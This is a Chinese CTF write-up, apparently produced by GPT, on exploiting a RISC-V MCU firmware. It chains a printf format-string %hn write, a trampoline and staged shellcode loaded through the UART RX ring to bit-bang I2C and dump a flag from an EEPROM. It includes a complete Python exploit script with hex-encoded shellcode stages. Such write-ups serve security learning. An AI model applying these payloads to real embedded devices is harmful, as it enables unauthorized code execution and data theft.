题目由 GPT 完成,本报告也由 GPT 生成
1. 附件入手 题目给了两个附件:
firmware.bin:MCU 裸机固件。
schematic.pdf:硬件原理图。
这题不是 Linux ELF pwn,而是 MCU 固件利用。整体目标是先在固件里拿到代码执行,再根据原理图访问外接 EEPROM,把 EEPROM 中的 flag 打出来。
最终 flag:
1 ACTF{f423f891dc9d7a137f27e366fbff7974}
1.1 原理图信息 先看 schematic.pdf。用 pdftotext -layout schematic.pdf - 可以提取出主要器件:
1 2 U1: CH32V003F4P6 U2: AT24C64
原理图上还能看到 EEPROM 和 MCU 的连线:
1 2 AT24C64 SDA -> PC1 AT24C64 SCL -> PC2
因此后续拿到代码执行以后,读 flag 的方向基本确定:在固件里操作 GPIOC,用 PC1/PC2 bit-bang I2C,访问 AT24C64。
1.2 远端地址 题目没有额外给远端 IP 和端口,但固件里确实藏了连接方式。直接 strings 看不到:
1 strings -a firmware.bin | rg "nc |1\\.95|10001|host|port"
只能看到普通交互 banner:
原因是远端地址不是明文字符串,而是在启动阶段被异或解码输出。固件入口从 0x0 跳到 0xfca,进入主循环 0xde2 之前,会执行 0xdba 附近的一段隐藏输出逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 d9c: 6485 c.lui x9,0x1 d9e: 4401 c.li x8,0 daa: fca48493 addi x9,x9,-54 # x9 = 0xfca dba: 6789 c.lui x15,0x2 dbc: e3878793 addi x15,x15,-456 # x15 = 0x1e38 dc0: 00940733 add x14,x8,x9 # x14 = 0xfca + i dc4: 97a2 c.add x15,x8 # x15 = 0x1e38 + i ... dca: 0409 c.addi x8,2 # i += 2 dcc: 8d3d c.xor x10,x15 dce: e26ff0ef jal x1,0x3f4 # putchar dd2: 02a00793 addi x15,x0,42 dd6: fef412e3 bne x8,x15,0xdba
其中 0xdc6、0xdc8 这两个 16-bit 指令用通用 RISC-V 反汇编工具会显示成 F 扩展压缩指令,但结合寄存器流和实际输出,可以还原出等价逻辑:
1 2 3 for (int i = 0 ; i != 42 ; i += 2 ) { putchar (firmware[0x1e38 + i] ^ firmware[0x0fca + i]); }
静态解码脚本:
1 2 3 4 5 from pathlib import Pathfw = Path("firmware.bin" ).read_bytes() msg = bytes (fw[0x1e38 + i] ^ fw[0x0fca + i] for i in range (0 , 42 , 2 )) print (msg.decode(), end="" )
输出:
所以远端 UART bridge 地址为:
远程服务启动时看到的完整输出类似:
1 2 3 4 Preparing environment... Timeout in 180 seconds nc 1.95.116.62 10001 Type `exit' to exit. <
其中 Preparing environment... 来自题目外层服务,后面的 nc ... 和 Type \exit’ to exit.都可以由固件 UART 输出。之前如果直接从主循环0xde2` 开始仿真,就会跳过这段启动阶段的隐藏输出。
2. 固件分析 firmware.bin 是裸机 raw binary:
可以用 RISC-V raw binary 方式反汇编:
1 riscv64-linux-gnu-objdump -D -b binary -m riscv:rv32 -M no-aliases,numeric firmware.bin
入口在 0x0:
1 2 00000000: 0: 7cb0006f jal x0,0xfca
启动代码在 0xfca 附近设置 gp 和 sp:
1 2 3 4 00000fca: fca: 20000197 auipc x3,0x20000 fce: 89618193 addi x3,x3,-1898 # gp = 0x20000860 fd2: fa018113 addi x2,x3,-96 # sp = 0x20000800
后续初始化会把一部分代码和数据搬到 RAM,RAM 基址附近的 0x20000000 也会成为后面 exit path 的调用目标。
调试过程中定位到的关键地址如下:
含义
地址
gp
0x20000860
sp
0x20000800
主输入缓冲区 input
0x200000e8
UART RX DMA ring
0x20000068
UART RX ring 长度
0x80
RAM stub
0x20000000
单字节 RX helper
0x242
putchar
0x3f4
read wrapper
0x518
主循环
0xde2
这里有一个反汇编细节:题目是 RV32E flavor,固件里有不少压缩指令,普通 objdump 对个别 16-bit 指令的显示并不完全可信。遇到这种情况,需要结合寄存器数据流、仿真行为和远程输出一起判断。
3. 程序逻辑 主循环位于 0xde2 附近。整理成伪代码大致如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 puts ("Type `exit' to exit." );while (1 ) { memset (input, 0 , 0x40 ); putchar ('<' ); putchar (' ' ); read(0 , input, 0x3f ); if (strcmp (input, "exit\n" ) == 0 ) { puts ("see ya" ); ((void (*)())0x20000000 )(); } else { printf (input); } }
交互行为也和这个逻辑一致:
1 2 3 4 5 Type `exit' to exit. < hello hello < exit see ya
这里有两个重要点:
普通输入会直接作为 printf 的格式串。
输入精确等于 exit\n 时,会走 exit path,并调用 0x20000000。
exit path 的关键调用点如下:
1 2 ee2: 1ffff097 auipc x1,0x1ffff ee6: 11e080e7 jalr x1,286(x1) # call 0x20000000
这给了一个很好的劫持点:如果能修改 0x20000000 处的指令,就可以在输入 exit\n 时转到我们控制的代码。
4. 漏洞点 漏洞点是典型格式串:
固件自己的 printf 支持 %c、%x、%s、%n、%hn 等格式。虽然调用点没有传额外参数,但 printf 仍会继续从当前调用现场取 vararg。通过调试可以利用第 7 个参数做一次 16-bit 写。
最终使用的格式串是:
构造思路:
%41056c 消耗第 1 个参数,并把已输出字符数推进到 41056。
后面 5 个 %c 消耗第 2 到第 6 个参数,并让输出字符数再加 5。
%hn 消耗第 7 个参数,把当前输出字符数作为 16-bit 写入该参数指向的地址。
当前输出字符数为:
1 41056 + 5 = 41061 = 0xa065
同时把第一行输入的第 63 个字节设置为 0x20。在这个固件的调用现场布局下,这会让第 7 个 vararg 被解析为:
于是格式串完成的写入就是:
1 *(uint16_t *)0x20000000 = 0xa065 ;
0xa065 是一条 RISC-V compressed jump:
也就是在 0x20000000 放一个 2 字节跳板,等 exit path 调用 0x20000000 时跳到 0x200000a8。
5. 利用思路 最直接的想法是:
第一轮输入用格式串改 0x20000000。
第二轮输入把 stage1 放进 input = 0x200000e8。
第三轮输入 exit\n 触发跳转。
这个方案会失败,因为每轮读输入前都会执行:
1 memset (0x200000e8 , 0 , 0x40 );
也就是说,上一轮留在 input buffer 里的 stage1 会在下一轮处理 exit\n 前被清空。
5.2 把 stage1 放进 UART RX ring 固件的 UART 输入来自 DMA ring:
1 2 base = 0x20000068 size = 0x80
主循环会从 RX ring 取数据拷贝到 input buffer,但不会清空 RX ring 本身。因此可以把 stage1 留在 RX ring 里,再让 0x20000000 的跳板跳过去。
利用发送三段控制数据:
段
长度
作用
line_a
63
格式串,写 0xa065 到 0x20000000
line_b
63
预加载 stage1 到 UART RX ring
exit_line
5
发送 exit\n,触发 exit path
RX ring 长度为 128。前两行一共 126 字节,再发送 exit\n 会发生 ring wrap,但只覆盖 ring index 0..2,不会破坏第二行中的 stage1。
第二行从 ring index 63 开始。为了让 stage1 2 字节对齐,在 stage1 前放 1 字节填充:
1 2 stage1_addr = 0x20000068 + 63 + 1 = 0x200000a8
这正好对应前面写入的 c.j 0x200000a8。
5.3 必须分段发送 不能把所有 payload 一次性 sendall。
第一段格式串会打印大约 41 KB 空格。如果后续 stage1、exit\n、stage2 一次性塞给远端,远端 UART/桥接层在大量输出期间可能丢输入,导致 stage1 或 stage2 不稳定。
最终交互流程必须按阶段等待 prompt:
1 2 3 4 5 6 7 8 9 10 send(line_a) wait("< " ) send(line_b) wait("< " ) send(exit_line) wait("see ya" ) send(stage2_block)
5.4 stage1 loader stage1 本身放在 RX ring 中,但上传 stage2 时新的 UART 数据会覆盖 RX ring。因此 stage1 不能一直在 ring 中运行。
另一个问题是,直接调用固件的 read(0, 0x20000128, 0x400) 不稳定。远程调试时出现过 read() 短返回,只读到 stage2 开头几个字节就跳进去,最终 HardFault。
最终 stage1 设计为两步:
RX ring 中的 stage1 先把一个 16 字节的小 loader 复制到安全 RAM,也就是 0x200000e8。
跳到 0x200000e8 后,小 loader 调用固件底层单字节 RX helper 0x242,逐字节读取 0x400 字节 stage2 到 0x20000128。
stage1 逻辑可以整理为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 stage1: s0 = 0x20000128 ; stage2 dst t1 = s0 ; stage2 entry s1 = 0x400 ; remaining bytes t0 = 0x242 ; firmware getc helper copy loader from RX ring to 0x200000e8 jump 0x200000e8 loader: a0 = s0 call t0 ; receive one byte into *a0 if no byte: retry s0++ s1-- if s1 != 0: loop jump t1
这样可以同时解决两个问题:
stage2 上传会覆盖 RX ring,但 loader 已经搬到了 0x200000e8。
不依赖 read() 一次读满,而是用单字节 helper 稳定收满 stage2。
5.5 stage2 读取 EEPROM stage2 根据原理图操作 GPIO:
1 2 3 SDA = PC1 SCL = PC2 I2C address = 0x50
它完成的事情是:
初始化 GPIOC。
用 PC1/PC2 bit-bang I2C。
读取 AT24C64。
调用固件 putchar() 输出 EEPROM 内容。
实际远程验证默认方向 SDA=PC1, SCL=PC2 正确,不需要交换引脚。
6. 最终 payload 布局 最终 payload 总长度为:
1 63 + 63 + 5 + 1024 = 1155 bytes
布局如下:
部分
长度
内容
line_a
63
%41056c%c%c%c%c%c%hn,末字节 0x20
line_b
63
A + stage1 + padding
exit_line
5
exit\n
stage2_block
1024
stage2,不足补零
完整控制流:
1 2 3 4 5 6 7 8 9 10 11 printf(input) -> *(uint16_t *)0x20000000 = 0xa065 -> 发送 stage1 到 UART RX ring -> 发送 exit\n -> exit path call 0x20000000 -> c.j 0x200000a8 -> stage1 复制 loader 到 0x200000e8 -> loader 逐字节读取 stage2 到 0x20000128 -> jump 0x20000128 -> stage2 bit-bang I2C 读取 AT24C64 -> putchar 输出 flag
7. 利用结果 运行:
1 python3 solve_amcu_exittramp.py --host 1.95.116.62 --port 10001 --timeout 18
成功输出:
1 2 3 4 [+] flag candidate: ACTF{f423f891dc9d7a137f27e366fbff7974} [+] flag-looking candidate(s): ACTF{f423f891dc9d7a137f27e366fbff7974}
最终 flag:
1 ACTF{f423f891dc9d7a137f27e366fbff7974}
8. EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 import argparseimport hashlibimport multiprocessing as mpimport osimport reimport socketimport timeHOST_DEFAULT = "1.95.116.62" PORT_DEFAULT = 10001 TEAM_TOKEN_DEFAULT = "=====YOUR=====TEAM=====TOKEN=====" UART_RX_RING = 0x20000068 RAM_STUB = 0x20000000 INPUT_LINE_LEN = 63 READ_LEN = 0x400 EXIT_LINE = b"exit\n" STAGE1_PREFIX = b"A" STAGE1 = bytes .fromhex( "1384818c228393040040930220249385018713868188b28611479c411cc2" "910511067d177dfb82862285829275dd0504fd14fdf80283" ) STAGE2 = bytes .fromhex( "311106c822c626c4371502400c4d3716014093e505010ccd0842fd75bd056d8d1305056608c2194508ca02c212459305200263caa50013053002924585052ec29245e3cca5fe95221305000ac5220145f12a0145e12a912a1305100ac12a81421304300291472143b7160140094588ca02c21245130720026348a700124505052ac21245e34c85fe014581449cca02c292456348b700924585052ec29245e3cc85fe8c46dcca02c212466348c7001246050632c21246e34c86fee204dd80fa05fd810505cd8ce31365fc16c0138512f0133515000d24914613062002b715014094c902c212456348a600124505052ac21245e34c85fed4c902c212456348a600124505052ac21245e34c85fe094588c902c212456348a600124505052ac21245e34c85fe93f4f40f26859305403f82958242914721431305d0076387a400850213050010e392a2f20945b7160140c8ca02c2924513052002634ab500930530021246050632c21246e34cb6fe91458cca02c29245634ab50013053002924585052ec29245e3cca5fe094588ca02c212459305200263caa50013053002924585052ec29245e3cca5fe01a071113715014089450cc902c002469305200263cac500130630028246850636c08246e3ccc6fe114610c902c0024663cac500930530020246050632c00246e34cb6fe89454cc902c002469305200263cac500130630028246850636c08246e3ccc6fe114650c902c0024563caa50013053002824585052ec08245e3cca5fe11018280311106c822c626c48144130430022ac0137505085d28b7150140114588c902c21245130620026348a600124505052ac21245e34c85fe1145c8c902c212459305200263c8a500124505052ac21245e34c85fe850402450605a145e39ab4fa0945b716014088ca02c2924513052002634ab500930530021246050632c21246e34cb6fe91458cca02c21246634ac500130530021246050632c21246e34ca6fe03a08600ccca02c212459305200263caa50013053002924585052ec29245e3cca5fec2403244a244510182806111b715014015c1094588c902c002459305200263cba50213053002824585052ec08245e3cca5fe0da00945c8c902c212459305200263caa50013053002924585052ec29245e3cca5fe21018280" ) POW_RE = re.compile (rb"sha256\(\? \+ '([^']+)'\).*?ends with (\d+) binary 0s" , re.S) FLAG_RE = re.compile (rb"[A-Za-z0-9_\-]*\{[^}\r\n]{1,200}\}" ) def enc_cj (offset ): imm = offset & 0xfff inst = (0b101 << 13 ) | 0b01 inst |= ((imm >> 11 ) & 1 ) << 12 inst |= ((imm >> 4 ) & 1 ) << 11 inst |= ((imm >> 8 ) & 3 ) << 9 inst |= ((imm >> 10 ) & 1 ) << 8 inst |= ((imm >> 6 ) & 1 ) << 7 inst |= ((imm >> 7 ) & 1 ) << 6 inst |= ((imm >> 1 ) & 7 ) << 3 inst |= ((imm >> 5 ) & 1 ) << 2 return inst & 0xffff def build_payload (stage2 ): stage1_addr = UART_RX_RING + INPUT_LINE_LEN + len (STAGE1_PREFIX) tramp = enc_cj(stage1_addr - RAM_STUB) fmt = (f"%{tramp - 5 } c" + "%c" * 5 + "%hn" ).encode() line_a = (fmt + b"\x00" ).ljust(INPUT_LINE_LEN - 1 , b"X" ) + b" " line_b = (STAGE1_PREFIX + STAGE1).ljust(INPUT_LINE_LEN, b"Y" ) return line_a + line_b + EXIT_LINE + stage2.ljust(READ_LEN, b"\x00" ) def build_parts (stage2 ): payload = build_payload(stage2) a = payload[:INPUT_LINE_LEN] b = payload[INPUT_LINE_LEN:INPUT_LINE_LEN * 2 ] c = payload[INPUT_LINE_LEN * 2 :INPUT_LINE_LEN * 2 + len (EXIT_LINE)] d = payload[INPUT_LINE_LEN * 2 + len (EXIT_LINE):] return a, b, c, d def recv_until (sock, patterns, timeout ): old = sock.gettimeout() sock.settimeout(0.2 ) end = time.time() + timeout data = bytearray () try : while time.time() < end: try : chunk = sock.recv(4096 ) except socket.timeout: continue if not chunk: break data += chunk if any (p in data for p in patterns): break finally : sock.settimeout(old) return bytes (data) def pow_ok (candidate, salt, bits ): need = (bits + 7 ) // 8 mask = (1 << bits) - 1 tail = hashlib.sha256(candidate + salt).digest()[-need:] return (int .from_bytes(tail, "big" ) & mask) == 0 def pow_worker (queue, salt, bits, start, step ): i = start while True : candidate = str (i).encode() if pow_ok(candidate, salt, bits): queue.put(candidate) return i += step def solve_pow (salt, bits, jobs ): jobs = max (1 , jobs) queue = mp.Queue() procs = [ mp.Process(target=pow_worker, args=(queue, salt, bits, i, jobs), daemon=True ) for i in range (jobs) ] for p in procs: p.start() try : return queue.get() finally : for p in procs: if p.is_alive(): p.terminate() for p in procs: p.join(timeout=0.2 ) def print_remote (data ): if data: print (data.decode("latin-1" , "replace" ), end="" ) def handshake (sock, token, timeout, jobs ): data = recv_until(sock, [b"Team token:" , b"token:" ], timeout) print_remote(data) sock.sendall(token.encode() + b"\n" ) data = recv_until(sock, [b"binary 0s" , b"permission denied" ], timeout) print_remote(data) if b"permission denied" in data: raise RuntimeError("token rejected" ) m = POW_RE.search(data) if m: salt = m.group(1 ) bits = int (m.group(2 )) print (f"[+] solving POW: sha256(x + {salt!r} ) ends with {bits} zero bits" ) ans = solve_pow(salt, bits, jobs) print (f"[+] POW answer: {ans.decode()} " ) sock.sendall(ans + b"\n" ) data = recv_until(sock, [b"< " , b"agree" , b"permission denied" ], timeout) print_remote(data) if b"permission denied" in data: raise RuntimeError("POW rejected" ) if b"agree" in data.lower(): sock.sendall(b"agree\n" ) data = recv_until(sock, [b"< " ], timeout) print_remote(data) def main (): ap = argparse.ArgumentParser() ap.add_argument("--host" , default=HOST_DEFAULT) ap.add_argument("--port" , type =int , default=PORT_DEFAULT) ap.add_argument("--token" , default=TEAM_TOKEN_DEFAULT) ap.add_argument("--timeout" , type =float , default=18.0 ) ap.add_argument("--pow-jobs" , type =int , default=os.cpu_count() or 1 ) args = ap.parse_args() print (f"[+] target {args.host} :{args.port} " ) line_a, line_b, exit_line, stage2_block = build_parts(STAGE2) sock = socket.create_connection((args.host, args.port), timeout=args.timeout) sock.settimeout(args.timeout) handshake(sock, args.token, args.timeout, args.pow_jobs) print ("[+] sending format-string trampoline" ) sock.sendall(line_a) print_remote(recv_until(sock, [b"< " ], args.timeout)) print ("[+] sending stage1 preload" ) sock.sendall(line_b) print_remote(recv_until(sock, [b"< " ], args.timeout)) print ("[+] sending exit trigger" ) sock.sendall(exit_line) print_remote(recv_until(sock, [b"see ya" , b"HardFault" ], args.timeout)) print ("[+] sending stage2" ) sock.sendall(stage2_block) out = bytearray () try : while True : chunk = sock.recv(65536 ) if not chunk: break out += chunk m = FLAG_RE.search(out) if m: print ("\n[+] flag:" , m.group(0 ).decode("latin-1" , "replace" )) return except socket.timeout: pass print ("\n[-] flag not found" ) print (bytes (out[-4096 :]).decode("latin-1" , "replace" )) if __name__ == "__main__" : main()